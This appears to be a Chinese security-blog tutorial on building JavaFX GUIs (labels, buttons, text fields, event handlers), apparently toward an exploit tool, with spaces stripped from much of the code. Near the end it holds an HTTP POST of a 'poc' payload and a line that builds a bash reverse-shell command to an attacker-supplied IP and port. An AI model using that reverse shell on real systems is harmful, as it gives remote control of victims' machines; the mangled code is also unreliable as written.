packagesample;
publicclassController {
}
packagesample;
importjavafx.application.Application;
importjavafx.fxml.FXMLLoader;
importjavafx.scene.Parent;
importjavafx.scene.Scene;
importjavafx.stage.Stage;
publicclassMain extendsApplication {
//继承Application 需要重写方法
@Override
//创建一个舞台 可以理解为程序的界面
publicvoidstart(StageprimaryStage)throwsException{
//类加载器加载当前的fxml文件
Parent root =FXMLLoader.load(getClass().getResource("sample.fxml"));
//设置一个title
primaryStage.setTitle("HelloWorld");
//设置一个窗口大小
primaryStage.setScene(newScene(root,300,275));
//展示窗口
primaryStage.show();
}
publicstaticvoidmain(String[]args){
//运行程序
launch(args);
}
}
//注意别导错包
importjavafx.scene.control.Label;
Labellabel =newLabel();
importjavafx.application.Application;
importjavafx.scene.Scene;
importjavafx.scene.control.Label;
importjavafx.scene.layout.BorderPane;
importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {
@Override
publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个标签
Labellabel =newLabel("我是标签");
//把标签放到bp布局的中间位置
root.setCenter(label);
primaryStage.setTitle("demo");
primaryStage.setScene(newScene(root,400,300));
primaryStage.show();
}
}
importjavafx.scene.control.Button;
Buttonbutton =newButton();
importjavafx.application.Application;
importjavafx.scene.Scene;
importjavafx.scene.control.Button;
importjavafx.scene.layout.BorderPane;
importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {
@Override
publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个按钮
Buttonbutton =newButton("别碰我");
root.setCenter(button);
primaryStage.setTitle("demo");
primaryStage.setScene(newScene(root,400,300));
primaryStage.show();
}
}
setOnAction();
button.setOnAction(newEventHandler<ActionEvent>() {
@Override
public void handle(ActionEvent event) {
// code
// 这里就是写执行动作的代码
}
});
importjavafx.application.Application;
importjavafx.event.ActionEvent;
importjavafx.event.EventHandler;
importjavafx.scene.Scene;
importjavafx.scene.control.Button;
importjavafx.scene.layout.BorderPane;
importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {
@Override
publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
//创建一个按钮
Buttonbutton =newButton("别碰我");
button.setOnAction(newEventHandler<ActionEvent>(){
@Override
publicvoidhandle(ActionEventevent){
button.setText("尊贵的凯迪拉克车主,前方就是洗浴中心,请靠边停车");
}
});
root.setCenter(button);
primaryStage.setTitle("demo");
primaryStage.setScene(newScene(root,400,300));
primaryStage.show();
}
}
importjavafx.scene.control.TextField;TextFieldtextField =newTextField();importjavafx.application.Application;importjavafx.scene.Scene;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.stage.Stage;publicclassdemo1 extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{ BorderPane root =newBorderPane(); TextFieldtextField =newTextField(); root.setCenter(textField); primaryStage.setTitle("demo"); primaryStage.setScene(newScene(root,400,300)); primaryStage.show(); }}
importjavafx.scene.control.TextArea;
TextAreatextArea =newTextArea();
importjavafx.application.Application;
importjavafx.scene.Scene;
importjavafx.scene.control.TextArea;
importjavafx.scene.layout.BorderPane;
importjavafx.stage.Stage;
publicclassdemo1 extendsApplication {
@Override
publicvoidstart(StageprimaryStage)throwsException{
BorderPane root =newBorderPane();
TextAreatextArea =newTextArea();
root.setCenter(textArea);
primaryStage.setTitle("demo");
primaryStage.setScene(newScene(root,400,300));
primaryStage.show();
}
}
packagesample;importjavafx.application.Application;importjavafx.event.ActionEvent;importjavafx.event.EventHandler;importjavafx.scene.Scene;importjavafx.scene.control.Button;importjavafx.scene.control.TextArea;importjavafx.scene.control.TextField;importjavafx.scene.layout.BorderPane;importjavafx.scene.layout.HBox;importjavafx.scene.layout.Priority;importjavafx.stage.Stage;publicclassDemo extendsApplication { @Override publicvoidstart(StageprimaryStage)throwsException{ //创建盒子 HBox hBox =newHBox(); //盒子里存放两个控件文本行和按钮 TextFieldtextField =newTextField(); Buttonbutton =newButton("添加"); TextAreatextArea =newTextArea(); //添加组件 hBox.getChildren().addAll(textField,button); //让文本框占满水平方向的长度 HBox.setHgrow(textField,Priority.ALWAYS); //在bp添加hbox盒子 BorderPane bp =newBorderPane(); bp.setTop(hBox); bp.setCenter(textArea); //按钮添加监听 button.setOnAction(newEventHandler<ActionEvent>(){ @Override publicvoidhandle(ActionEventevent){ //获取文本行的内容发送给文本区里 Stringtext =textField.getText(); textArea.appendText(text+"n"); } }); primaryStage.setScene(newScene(bp,400,300)); primaryStage.show(); }}
HttpURLConnectionconn =(HttpURLConnection)exp_url.openConnection();
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setUseCaches(false);
conn.setRequestMethod("POST");
·· · · · ·
conn.setRequestProperty("Content-Typ","application/x-www-form-urlencoded");
conn.connect();
Stringdata ="poc";
byte[]paramByte=data.getBytes(); conn.getOutputStream().write(paramByte);//传入参数的byte类型
Stringbash ="bash-c "bash-i >& /dev/tcp/"+ip+"/"+port+"0>&1""; Stringurl_encode =URLEncoder.encode(bash,"UTF-8");
本文作者:酒仙桥六号部队
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/180818.html